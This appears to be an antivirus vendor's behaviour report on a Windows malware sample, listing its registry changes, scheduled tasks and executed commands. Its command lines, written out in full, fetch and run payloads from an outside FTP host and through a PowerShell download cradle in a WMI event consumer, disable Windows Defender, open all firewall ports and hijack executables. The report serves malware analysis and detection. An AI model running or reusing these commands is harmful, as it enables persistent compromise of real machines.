Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vid001.exe] 'Debugger' = 'ntsd -d'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uihost64.exe] 'Debugger' = 'ntsd -d'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uihost32.exe] 'Debugger' = 'ntsd -d'
Creates or modifies the following files
- <SYSTEM32>\tasks\mysa
- <SYSTEM32>\tasks\mysa1
- <SYSTEM32>\tasks\mysa2
- <SYSTEM32>\tasks\mysa3
- <SYSTEM32>\tasks\ok
- <SYSTEM32>\tasks\oka
- <SYSTEM32>\tasks\microsoftswindows
- <SYSTEM32>\tasks\microsoftswindowsu
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\MpsSvc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\PolicyAgent] 'Start' = '00000002'
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im help.exe /im doc001.exe /im dhelllllper.exe /im DOC001.exe /im dhelper.exe /im conime.exe /im a.exe /im docv8.exe /im king.exe /im name.exe /im doc.exe /im spooly.exe /im win1ogins.exe /...
- '<SYSTEM32>\taskkill.exe' /f /im lsma12.exe
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="deny tcp 445" dir=in protocol=tcp localport=445 action=block
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="tcpall" dir=out protocol=tcp localport=0-65535 action=allow
Modifies file system
Modifies the HOSTS file.
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\rundll32.exe' %WINDIR%\debug\item.dat,ServiceMain aaaa' (with hidden window)
Executes the following
- '<SYSTEM32>\net1.exe' stop ASBservice
- '<SYSTEM32>\icacls.exe' %WINDIR%\temp\conhos.exe /reset
- '<SYSTEM32>\icacls.exe' %WINDIR%\temp\conhou.exe /reset
- '<SYSTEM32>\icacls.exe' %WINDIR%\system\msinfo.exe /reset
- '<SYSTEM32>\icacls.exe' %WINDIR%\debug\item.dat /reset
- '<SYSTEM32>\icacls.exe' %WINDIR%\debug\winu.bat /reset
- '<SYSTEM32>\schtasks.exe' /run /tn oka
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="coronav" DELETE
- '<SYSTEM32>\cacls.exe' <SYSTEM32>\wscript.exe /e /d system
- '<SYSTEM32>\cacls.exe' <SYSTEM32>\cscript.exe /e /d system
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckann4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckann4'" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckstar3" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckstar4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckstar4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckstar4'" DELETE
- '<SYSTEM32>\sc.exe' config xWinWpdSrv start= auto
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckann4" DELETE
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state on
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckann3" DELETE
- '<SYSTEM32>\netsh.exe' ipsec static add filteraction name=Allow action=permit
- '<SYSTEM32>\netsh.exe' ipsec static add filterlist name=Allowlist
- '<SYSTEM32>\netsh.exe' ipsec static add filterlist name=denylist
- '<SYSTEM32>\netsh.exe' ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
- '<SYSTEM32>\netsh.exe' ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
- '<SYSTEM32>\netsh.exe' ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
- '<SYSTEM32>\netsh.exe' ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
- '<SYSTEM32>\cacls.exe' %WINDIR%\system\msinfo.exe /e /t /c /g system:f
- '<SYSTEM32>\cacls.exe' %WINDIR%\debug\winu.bat /e /t /c /g system:f
- '<SYSTEM32>\cacls.exe' %WINDIR%\debug\item.dat /e /t /c /g system:f
- '<SYSTEM32>\netsh.exe' ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny
- '<SYSTEM32>\netsh.exe' ipsec static set policy name=win assign=y
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhos.exe" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo.exe" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhou.exe" /f
- '<SYSTEM32>\cacls.exe' %WINDIR%\temp\conhos.exe /e /t /c /g system:f
- '<SYSTEM32>\netsh.exe' ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
- '<SYSTEM32>\netsh.exe' ipsec static add filteraction name=deny action=block
- '<SYSTEM32>\netsh.exe' ipsec static add policy name=win
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="coronav2" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="Windows Events Consumer4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="kuckavv4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="kuckavv3" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='kuckavv3'" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="kuckstar4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="kuckstar4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="kucstar3" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='kvckavv3'" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="kuckavv4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='kuckstar3'" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="killmm3" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='killmm3'" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="killmm3", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10800 WHERE T...
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="killmm4", CommandLineTemplate="cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wm#...
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"killmm3\"", Consumer="CommandLineEventConsumer.Name=\"killmm4\""
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="killmm4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="killmm4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='coronav2'" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="coronav2" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="kvckavv4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="Windows Events Consumer" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='Windows Events Filter'" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckyoumm4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckayoumm3" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="kvckavv4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="Windows Events Filter" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="kvckavv3" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckyoumm3'" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckamm3'" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckavv4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckavv4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckavv3" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckavv3'" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckamm4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckamm4" DELETE
- '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckamm3" DELETE
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="tcpall" dir=out
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="deny tcp 139" dir=in
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="deny tcp 445" dir=in
- '<SYSTEM32>\net1.exe' stop "windows audio control"
- '<SYSTEM32>\sc.exe' delete "windows audio control"
- '<SYSTEM32>\net1.exe' stop "gyoidf2wl2cw8ce"
- '<SYSTEM32>\sc.exe' delete "gyoidf2wl2cw8ce"
- '<SYSTEM32>\net1.exe' stop "Rsisem eqawcgyjqi"
- '<SYSTEM32>\sc.exe' delete "Rsisem eqawcgyjqi"
- '<SYSTEM32>\net1.exe' stop csrss
- '<SYSTEM32>\schtasks.exe' /create /tn "Mysa1" /tr "rundll32.exe %WINDIR%\debug\item.dat,ServiceMain aaaa" /ru "system" /sc onstart /F
- '<SYSTEM32>\sc.exe' delete rpcept
- '<SYSTEM32>\sc.exe' delete "WinTcpAutoProxyStc"
- '<SYSTEM32>\net1.exe' stop "Ws5oq3qwi gyogazxcwce"
- '<SYSTEM32>\sc.exe' delete "Ws5oq3qwi gyogazxcwce"
- '<SYSTEM32>\net1.exe' stop "Wshrhx qlyndxmcsiuf7f"
- '<SYSTEM32>\sc.exe' delete "Wshrhx qlyndxmcsiuf7f"
- '<SYSTEM32>\schtasks.exe' /create /tn "Mysa" /tr "cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe %WINDIR%\update.exe>>s&echo bye>>s&ftp -s:s&%WINDIR%\update.exe" /ru "system" ...
- '<SYSTEM32>\sc.exe' delete "Rssphs zxsxavyaobwa"
- '<SYSTEM32>\net1.exe' stop "Rssphs zxsxavyaobwa"
- '<SYSTEM32>\net1.exe' stop "WinTcpAutoProxyStc"
- '<SYSTEM32>\sc.exe' delete remotecall
- '<SYSTEM32>\net1.exe' stop NetworkServices
- '<SYSTEM32>\net1.exe' stop msupdate
- '<SYSTEM32>\sc.exe' delete msupdate
- '<SYSTEM32>\net1.exe' stop clr_optimization_v4.0.30328_64
- '<SYSTEM32>\sc.exe' delete clr_optimization_v4.0.30328_64
- '<SYSTEM32>\net1.exe' stop MicrosoftMsql
- '<SYSTEM32>\sc.exe' delete MicrosoftMsql
- '<SYSTEM32>\net1.exe' stop rpcept
- '<SYSTEM32>\schtasks.exe' /create /tn "Mysa2" /tr "cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat %WINDIR%\debug\item.dat>>p&echo bye>>p&ftp -s:p" /ru "system" /sc onstart /F
- '<SYSTEM32>\sc.exe' delete ASBservice
- '<SYSTEM32>\sc.exe' delete NetworkServices
- '<SYSTEM32>\net1.exe' stop "Network Remote"
- '<SYSTEM32>\sc.exe' delete "Network Remote"
- '<SYSTEM32>\net1.exe' stop "WinTaskCtrlService"
- '<SYSTEM32>\sc.exe' delete "WinTaskCtrlService"
- '<SYSTEM32>\net1.exe' stop remotecall
- '<SYSTEM32>\sc.exe' delete netsv
- '<SYSTEM32>\net1.exe' stop netsv
- '<SYSTEM32>\sc.exe' delete csrss
- '<SYSTEM32>\schtasks.exe' /create /tn "Mysa3" /tr "cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar %WINDIR%\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&%WINDIR%\help\lsmosee.exe" /ru "syste...
- '<SYSTEM32>\schtasks.exe' /Delete /TN "Microsoft LocalManager[Windows Server 2008 R2 Enterprise]" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "Microsoft LocalManager[Windows Server 2008 R2 Standard]" /F
- '<SYSTEM32>\reg.exe' delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start1" /f
- '<SYSTEM32>\reg.exe' delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SHELL" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vid001.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uihost64.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f
- '<SYSTEM32>\schtasks.exe' /Delete /TN "at2" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "updat_windows" /F
- '<SYSTEM32>\schtasks.exe' /DELETE /TN "\Microsoft\Windows\UPnP\Services" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uihost32.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f
- '<SYSTEM32>\netsh.exe' ipsec static delete policy name=win
- '<SYSTEM32>\netsh.exe' ipsec static delete filterlist name=Allowlist
- '<SYSTEM32>\netsh.exe' ipsec static delete filterlist name=denylist
- '<SYSTEM32>\netsh.exe' ipsec static delete filteraction name=allow
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="tcp all" dir=in
- '<SYSTEM32>\sc.exe' config MpsSvc start= auto
- '<SYSTEM32>\net.exe' start MpsSvc
- '<SYSTEM32>\net1.exe' start MpsSvc
- '<SYSTEM32>\schtasks.exe' /Delete /TN "at1" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "AdobeFlashPlayer" /F
- '<SYSTEM32>\schtasks.exe' /create /tn "ok" /tr "rundll32.exe %WINDIR%\debug\ok.dat,ServiceMain aaaa" /ru "system" /sc onstart /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftWindows" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindows" /F
- '<SYSTEM32>\schtasks.exe' /create /tn "MicrosoftsWindows" /tr "%WINDIR%\temp\conhos.exe" /ru "system" /sc minute /mo 10 /f
- '<SYSTEM32>\schtasks.exe' /create /tn "MicrosoftsWindowsu" /tr "%WINDIR%\temp\conhou.exe" /ru "system" /sc minute /mo 9 /f
- '<SYSTEM32>\schtasks.exe' /Delete /TN "WindowsUpdate1" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "OfficeUpdaterA" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "\Microsoft\Windows\RAC\BackUpEvent" /F
- '<SYSTEM32>\schtasks.exe' /create /tn "oka" /tr "%WINDIR%\inf\aspnet\lsma12.exe" /ru "system" /sc onstart /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "WindowsUpdate3" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "Windows_Update" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "Update" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "Update2" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "Update4" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "Update3" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "windowsinit" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "System Security Check" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "at6" /F
- '<SYSTEM32>\schtasks.exe' /run /tn mysa1
- '<SYSTEM32>\rundll32.exe' %WINDIR%\debug\item.dat,ServiceMain aaaa
